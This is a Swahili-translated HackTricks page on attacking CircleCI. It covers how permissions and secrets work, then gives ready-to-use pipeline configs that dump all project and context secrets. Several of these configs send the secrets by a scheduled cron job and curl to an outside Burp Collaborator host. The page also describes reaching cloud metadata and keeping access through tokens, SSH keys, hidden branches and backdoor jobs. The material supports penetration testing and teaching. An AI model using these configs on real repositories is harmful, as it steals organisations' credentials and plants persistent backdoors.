CircleCI Security

Support HackTricks

Taarifa za Msingi

CircleCI ni jukwaa la Utekelezaji wa Kiotomatiki ambapo unaweza kuweka mifano inayoonyesha unachotaka ifanye na baadhi ya nambari na wakati wa kufanya hivyo. Kwa njia hii unaweza kutia mtihani kiotomatiki au kutekeleza moja kwa moja kutoka tawi kuu la repo yako kwa mfano.

Ruhusa

CircleCI inaurithi ruhusa kutoka github na bitbucket inayohusiana na akaunti inayoingia. Katika majaribio yangu niligundua kwamba muda mrefu kama una ruhusa ya kuandika kwenye repo kwenye github, utaweza kusimamia mipangilio ya mradi wake katika CircleCI (weka funguo mpya za ssh, pata funguo za api za mradi, tengeneza matawi mapya na mipangilio mipya ya CircleCI...).

Hata hivyo, unahitaji kuwa msimamizi wa repo ili ubadilishe repo kuwa mradi wa CircleCI.

Mazingira ya Mfumo & Siri

Kulingana na nyaraka kuna njia tofauti za kupakia thamani kwenye mazingira ya mfumo ndani ya mchakato.

Mazingira ya mfumo yaliyojengwa

Kila chombo kinachotumika na CircleCI kitakuwa na mazingira maalum ya mfumo yaliyoorodheshwa kwenye nyaraka kama vile CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME au CIRCLE_USERNAME.

Nakala wazi

Unaweza kuyatangaza kwa wazi ndani ya amri:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Unaweza kuzitangaza kwa maandishi wazi ndani ya mazingira ya kukimbia:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Unaweza kuzitangaza kwa maandishi wazi ndani ya mazingira ya kazi ya ujenzi:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Unaweza kuzitangaza kwa maandishi wazi ndani ya mazingira ya kontena:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Siri za Mradi

Hizi ni siri ambazo zitapatikana tu na mradi (na tawi lolote). Unaweza kuziona zimetajwa katika https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

Kazi ya "Kuagiza Vipimo" inaruhusu kuagiza vipimo kutoka miradi mingine hadi hii.

Siri za Muktadha

Hizi ni siri ambazo ni kwa kampuni nzima. Kwa kawaida repo yoyote itaweza kupata siri yoyote iliyohifadhiwa hapa:

Hata hivyo, kumbuka kwamba kikundi tofauti (badala ya Wajumbe Wote) kinaweza kuchaguliwa ili kumpa ufikivu wa siri kwa watu maalum. Hii kwa sasa ni njia moja bora ya kuongeza usalama wa siri, kuzuia kila mtu kupata lakini ni baadhi ya watu tu.

Mashambulizi

Tafuta Siri za Nakala Wazi

Ikiwa una ufikivu wa VCS (kama github) angalia faili .circleci/config.yml ya kila repo kwenye kila tawi na tafuta siri za nakala wazi zilizohifadhiwa hapo.

Vipimo vya Siri za Mazingira & Uchambuzi wa Muktadha

Kwa kuangalia nambari unaweza kupata majina yote ya siri ambayo yanatumika katika kila faili ya .circleci/config.yml. Unaweza pia kupata majina ya muktadha kutoka faili hizo au kuzichunguza kwenye konsoli ya wavuti: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltrate Siri za Mradi

Ili kuchukua NAKALA zote za mradi na muktadha SIRI unahitaji tu kuwa na ufikivu wa KUANDIKA kwa repo 1 tu katika kampuni nzima ya github (na akaunti yako lazima iwe na ufikivu wa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha).

Kazi ya "Kuagiza Vipimo" inaruhusu kuagiza vipimo kutoka miradi mingine hadi hii. Hivyo, mshambuliaji anaweza kuagiza vipimo vyote vya mradi kutoka kwenye repos zote na kisha kuchukua yote pamoja.

Siri zote za mradi daima hutiwa katika mazingira ya kazi, hivyo tu kuita mazingira na kuficha katika base64 itachukua siri katika konsoli ya wavuti ya rekodi za kazi:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Ikiwa huna ufikiaji wa konsoli ya wavuti lakini una ufikiaji wa repo na unajua kwamba CircleCI inatumika, unaweza tu kuunda mchakato ambao unaanzishwa kila dakika na kutuma siri kwenda kwenye anwani ya nje:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Toa Siri za Muktadha

Unahitaji kuainisha jina la muktadha (hii pia itatoa siri za mradi):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Ikiwa huna ufikiaji wa konsoli ya wavuti lakini una ufikiaji wa repo na unajua kuwa CircleCI inatumika, unaweza tu kurekebisha mchakato ambao unaanzishwa kila dakika na kutoa siri kwenda anwani ya nje:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Kuunda .circleci/config.yml mpya katika repo haitoshi kusababisha ujenzi wa circleci. Unahitaji kuwezesha kama mradi katika konsoli ya circleci.

Kutoroka Kwenda Kwenye Cloud

CircleCI inakupa chaguo la kukimbia ujenzi wako kwenye mashine zao au kwenye zako. Kwa chaguo-msingi, mashine zao zinapatikana kwenye GCP, na mwanzoni hutaweza kupata kitu chochote kinachofaa. Walakini, ikiwa muathiriwa anatekeleza kazi kwenye mashine zao (kwa uwezekano, kwenye mazingira ya wingu), unaweza kupata kituo cha metadata cha wingu chenye habari muhimu.

Tambua kwamba katika mifano iliyopita kila kitu kilizinduliwa ndani ya chombo cha docker, lakini pia unaweza kuomba kuzindua mashine ya VM (ambayo inaweza kuwa na ruhusa tofauti za wingu):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Au hata kontena ya docker yenye ufikivu wa huduma ya docker ya mbali:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Uthabiti

  • Inawezekana kuunda vitambulisho vya mtumiaji kwenye CircleCI ili kupata ufikiaji wa vituo vya API na ufikiaji wa watumiaji.

  • https://app.circleci.com/settings/user/tokens

  • Inawezekana kuunda vitambulisho vya miradi ili kupata mradi na ruhusa zilizotolewa kwa kitambulisho.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Inawezekana kuongeza funguo za SSH kwenye miradi.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Inawezekana kuunda kazi ya cron kwenye tawi lililofichwa kwenye mradi usiotarajiwa ambao unatoa mazingira ya siri ya mazingira kila siku.

  • Au hata kuunda kazi kwenye tawi/ kurekebisha kazi inayojulikana ambayo itatoa mazingira ya siri ya mazingira na miradi kila siku.

  • Ikiwa wewe ni mmiliki wa github unaweza kuruhusu mizunguko isiyothibitishwa na kuiwezesha kwenye kazi kama mlango wa nyuma

  • Unaweza kupata udhaifu wa kuingiza amri katika kazi fulani na kuingiza amri kupitia siri kwa kubadilisha thamani yake

Support HackTricks

Last updated